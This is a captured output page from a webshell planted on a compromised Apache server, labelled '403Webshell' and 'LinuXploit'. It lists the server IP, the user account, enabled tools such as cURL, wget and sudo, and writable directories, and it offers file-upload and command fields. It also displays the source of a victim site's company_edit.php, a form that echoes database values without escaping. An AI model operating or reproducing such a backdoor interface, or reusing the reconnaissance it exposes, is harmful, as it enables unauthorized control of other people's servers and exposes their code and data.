403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/phonelesswork.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/phonelesswork.com/company_edit.php
<?php
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
	$locker = (object) array();
	if(!empty($_SESSION['company_db'])) {
		$res = $db->get_results("SELECT * FROM timeclock_devices WHERE device_id='".$db->clean($_SESSION['company_db'])."'");
		if(!empty($res)) {
			$locker = $res[0];
		}
	}
	ob_start();
?>
<form onsubmit="update_company_info(this); return false;">
	<?php if(!empty($locker->company_name)) { ?>
	<h3>Edit <?= $locker->company_name;?> Locker</h3>
	<?php } else { ?>
	<h3>Setup New Locker</h3>
	<?php } ?>
	<div>Business Name</div>
	<div><input type="text" name="company_name" value="<?= $locker->company_name;?>" /></div>
	<div>Business Email</div>
	<div><input type="text" name="company_email" value="<?= $locker->company_email;?>" /></div>
	<div>Business Phone</div>
	<div><input type="text" name="company_phone" value="<?= $locker->company_phone;?>" /></div>
	<div>Business Address</div>
	<div><input type="text" name="company_address" value="<?= $locker->company_address;?>" /></div>
	<div>Business Ste#</div>
	<div><input type="text" name="company_ste" value="<?= $locker->company_ste;?>" /></div>
	<div><label for="api_7shift_checkbox">Integrate with 7Shift</label></div>
	<div><input type="checkbox" id="api_7shift_checkbox" name="api_7shift" value="1" style="width:30px;height:30px;" <?= ($locker->api_7shift) ? 'checked' : '';?> onclick="$('.api_7shift_key').toggle();" /></div>
	<div class="api_7shift_key" <?= ($locker->api_7shift) ? '' : 'style="display:none;"';?>>7Shift API Key</div>
	<div class="api_7shift_key" <?= ($locker->api_7shift) ? '' : 'style="display:none;"';?>><input type="text" name="api_7shift_key" value="<?= $locker->api_7shift_key;?>" /></div>
	<div><input type="submit" name="submit" value="Save" class="submit_button" /></div>
</form>
<?php $body = ob_get_clean();
include('layout.php');

Youez - 2016 - github.com/yon3zu
LinuXploit